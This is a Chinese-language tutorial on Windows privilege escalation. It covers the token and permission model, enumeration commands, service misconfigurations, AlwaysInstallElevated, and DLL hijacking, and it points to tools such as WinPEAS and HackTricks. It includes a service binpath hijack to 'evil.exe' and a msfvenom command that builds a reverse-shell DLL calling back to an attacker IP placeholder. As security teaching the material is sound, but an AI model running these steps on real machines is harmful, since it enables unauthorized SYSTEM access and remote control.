Windows提权
Windows 提权(Windows Privilege Escalation)
1. 什么是 Windows 提权
Windows 提权是指在已经获得 Windows 系统低权限访问的前提下,通过系统漏洞或错误配置,将权限提升至更高等级,例如:
- 普通用户 → 本地管理员
- 本地管理员 → SYSTEM
本质是让低权限用户获取或使用高权限的访问令牌(Token),执行原本不允许的操作。
2. Windows 权限模型
2.1 常见权限等级
- User:普通用户权限
- Administrator:本地管理员权限
- SYSTEM:系统权限
- TrustedInstaller:系统核心组件权限(最高)
权限关系: TrustedInstaller > SYSTEM > Administrator > User
TrustedInstaller 是 Windows 中权限最高的内置服务账号,主要用于系统组件维护与更新; SYSTEM 权限高于本地管理员,系统核心服务默认以该权限运行; Administrator 具备系统管理能力,但仍受 UAC 等机制限制; User 为普通用户权限,受系统访问控制严格限制。
2.2 Token(访问令牌)
Windows 的权限控制基于访问令牌(Access Token):
- Token 决定进程能访问哪些资源
- 提权的本质是获取或滥用高权限 Token
3. 提权的整体思路
Windows 本地提权主要集中在以下几类:
- 错误配置
- 服务相关提权
- 计划任务与启动项
- 文件与注册表权限错误
- 系统或内核漏洞
4. 信息收集实战命令
信息收集是提权的基石,需要尽可能多地了解当前环境。
4.1 用户与权限检查
查看当前用户身份及权限: whoami /all
该命令会列出用户名、SID、所属组以及当前的特权(Privileges)。重点关注 SeImpersonatePrivilege 或 SeDebugPrivilege 等高危权限。
查看系统中其他用户及管理员组:
net user
net localgroup administrators
4.2 系统信息枚举
获取操作系统版本、补丁列表及架构信息:
systeminfo
或者使用 WMIC 快速查看:
wmic os get Caption,CSDVersion,OSArchitecture,Version
查看已安装的补丁(用于比对内核漏洞):
wmic qfe get Caption,Description,HotFixID,InstalledOn
4.3 网络与进程
查看网络连接,寻找内部服务:
netstat -ano
查看正在运行的进程(寻找杀软或敏感软件):
tasklist /svc
5. 服务(Service)提权实战
5.1 检测未加引号的服务路径
使用 WMIC 查找启动模式为“自动”、路径中不包含引号且不位于 Windows 目录下的服务:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
如果输出结果中包含空格且没有引号(例如 C:\Program Files\App\service.exe),则存在利用可能。
5.2 检测服务权限配置错误
需要检查当前用户是否对某个服务拥有修改配置的权限(如 SERVICE_CHANGE_CONFIG 或 SERVICE_ALL_ACCESS)。
原生命令(较难直观判断,建议结合 ACL 知识):
sc sdshow [ServiceName]
推荐工具 AccessChk (Sysinternals 套件):
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
此命令会列出所有普通用户可写的服务。
如果发现可写服务,修改其 binpath(执行路径)指向恶意程序:
sc config [ServiceName] binpath= "C:\Temp\evil.exe"
sc stop [ServiceName]
sc start [ServiceName]
6. 计划任务与启动项排查
6.1 计划任务枚举
列出所有详细的计划任务,寻找非标准路径或可疑任务:
schtasks /query /fo LIST /v
重点排查以 SYSTEM 身份运行且指向非 C:\Windows 目录的任务。
6.2 启动项注册表排查
查看常见的自启动注册表项:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
7. 文件与注册表权限检测
7.1 文件权限检查
使用 icacls 查看特定文件或目录的权限:
icacls "C:\Program Files\VulnerableApp\config.ini"
如果你对该文件拥有 (M) 修改或 (F) 完全控制权限,即可尝试覆盖或修改。
7.2 AlwaysInstallElevated
检查是否开启了“总是以高权限安装”策略,这允许任意用户以 SYSTEM 权限运行 MSI 安装包:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果两个键值均为 1,则存在漏洞。
8. DLL 劫持提权 (DLL Hijacking)
8.1 原理
Windows 应用程序在加载动态链接库(DLL)时,如果代码中没有指定 DLL 的绝对路径(只写了文件名),操作系统会按照特定的顺序去查找该文件。
标准的 DLL 搜索顺序:
- 应用程序加载的目录
- 系统目录(C:\Windows\System32)
- 16 位系统目录
- Windows 目录(C:\Windows)
- 当前工作目录(Current Directory)
- PATH 环境变量中列出的目录
漏洞成因:
如果一个高权限(如 SYSTEM)运行的程序尝试加载一个不存在的 DLL,或者攻击者对搜索顺序靠前的目录(如应用程序目录或 PATH 中的某个目录)拥有写入权限,攻击者就可以放置一个同名的恶意 DLL。当程序启动时,就会加载这个恶意 DLL,从而以高权限执行代码。
8.2 常见利用场景
幻影 DLL(Phantom DLL / Missing DLL) 有些程序在编写时会尝试加载某些旧版本或测试用的 DLL,这些文件在正常系统中并不存在。程序运行时会提示“NAME NOT FOUND”。攻击者只需创建一个同名 DLL 放入程序目录或 PATH 目录即可。
DLL 重定向与路径劫持 如果攻击者对安装目录(如
C:\Program Files\App\)有写入权限,可以直接将恶意 DLL 放入该目录。根据搜索顺序,程序会优先加载目录下的恶意文件,而不是 System32 下的合法文件。
8.3 发现与利用
1. 发现漏洞(使用 Process Monitor)
Process Monitor (ProcMon) 是发现此类漏洞的神器。
利用缺失的ddl或者劫持目录里的ddl
- 启动 ProcMon,通过 Filter 过滤数据。
- 设置过滤器:
ResultisNAME NOT FOUNDPathends with.dllUserisNT AUTHORITY\SYSTEM(或其他高权限账户)
- 启动或重启目标服务/程序。
- 观察 ProcMon 的输出,寻找那些在当前用户可写目录(或 PATH 目录)中查找失败的 DLL 记录。
2. 制作恶意 DLL
使用 msfvenom 生成恶意 DLL payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f dll > hijack.dll
3. 实施攻击
将生成的 hijack.dll 重命名为目标缺失的 DLL 名称(例如 wlbsctrl.dll),并将其复制到程序尝试加载的目录中。重启服务或程序,即可获得反弹 Shell。
9. 自动化辅助工具
手动输入命令效率较低,实战中通常使用脚本自动扫描。
9.1 脚本与工具
- WinPEAS (Windows Privilege Escalation Awesome Scripts)
- 目前最强大的枚举工具,能自动扫描上述所有项(服务、路径、计划任务、凭证等)。
- 提供 .exe 和 .bat 版本。
- AccessChk (Sysinternals)
- 微软官方工具,用于验证具体的权限设置,不会被杀软查杀。
9.2 内核漏洞辅助
- Windows-Exploit-Suggester
- Python 脚本。需要将目标机的
systeminfo输出保存为文本文件,该工具会对比微软补丁库,给出可能存在的内核漏洞(如 CVE-2020-0796 等)。 https://github.com/strozfriedberg/Windows-Exploit-Suggester
- Python 脚本。需要将目标机的
- WES-NG
- Windows-Exploit-Suggester 的新一代版本,更新更及时。 https://github.com/bitsadmin/wesng
- Metasploit
- multi/recon/local_exploit_suggester
10. 常用资源与网站
本地可用工具
https://lolbas-project.github.io/
Windows 补丁对比网站
https://www.adminxe.com/CompareSys/
- PayloadsAllTheThings (GitHub)
- https://swisskyrepo.github.io/PayloadsAllTheThings/
- 这是最全面的备忘单,包含具体的提权命令、SQL 注入、反弹 Shell 写法等。
- HackTricks
- https://book.hacktricks.xyz
- 非常详细的百科全书式指南,对每种提权方式都有原理解释和操作步骤。
- Exploit-DB
- 搜索特定内核漏洞(如 CVE-XXXX-XXXX)的现成利用代码(C、Python 或 PowerShell)。
- TryHackMe
- https://tryhackme.com/room/windowsprivesc20
- 经典的 Windows 提权教程,适合深入理解原理。